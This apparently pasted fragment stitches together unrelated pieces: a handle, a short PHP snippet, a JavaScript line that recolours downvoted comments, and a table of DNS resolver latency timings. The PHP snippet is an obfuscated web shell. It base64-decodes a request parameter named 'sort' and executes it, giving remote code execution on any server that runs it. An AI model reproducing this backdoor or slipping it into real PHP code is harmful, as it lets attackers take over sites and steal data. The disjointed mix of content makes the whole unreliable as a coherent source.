_cereal

  $j6 = create_function('', base64_decode($_REQUEST['sort']));
  $j6(); // execution

  var downvoted = document.querySelectorAll('.comment > span:not(.c00)');
  for(let i = 0, c = downvoted.length; i < c; i++)
  {
    downvoted[i].style.color = '#70798C';
  }

                 test1   test2   test3   test4   test5   test6   test7   test8   test9   test10  Average
  cloudflare     23 ms   19 ms   20 ms   20 ms   21 ms   21 ms   23 ms   22 ms   22 ms   20 ms     21.10
  cloudflare2nd  23 ms   23 ms   20 ms   20 ms   24 ms   20 ms   23 ms   23 ms   24 ms   23 ms     22.30
  google         20 ms   22 ms   22 ms   41 ms   20 ms   43 ms   21 ms   45 ms   20 ms   36 ms     29.00
  neustar        41 ms   34 ms   33 ms   43 ms   35 ms   47 ms   45 ms   35 ms   41 ms   33 ms     38.70
  quad9          38 ms   47 ms   33 ms   32 ms   39 ms   51 ms   35 ms   50 ms   44 ms   39 ms     40.80
  google2nd      23 ms   20 ms   20 ms   20 ms   20 ms   214 ms  21 ms   38 ms   23 ms   23 ms     42.20
  norton         47 ms   44 ms   42 ms   45 ms   46 ms   42 ms   44 ms   47 ms   46 ms   44 ms     44.70
  cleanbrowsing  48 ms   50 ms   47 ms   46 ms   48 ms   48 ms   46 ms   49 ms   46 ms   49 ms     47.70
  opendns        39 ms   41 ms   41 ms   47 ms   40 ms   197 ms  33 ms   50 ms   42 ms   34 ms     56.40
  comodo         58 ms   56 ms   58 ms   59 ms   56 ms   58 ms   55 ms   56 ms   55 ms   65 ms     57.60
  yandex         69 ms   67 ms   63 ms   62 ms   71 ms   65 ms   71 ms   65 ms   75 ms   125 ms    73.30
  adguard        90 ms   88 ms   80 ms   93 ms   76 ms   78 ms   79 ms   161 ms  86 ms   79 ms     91.00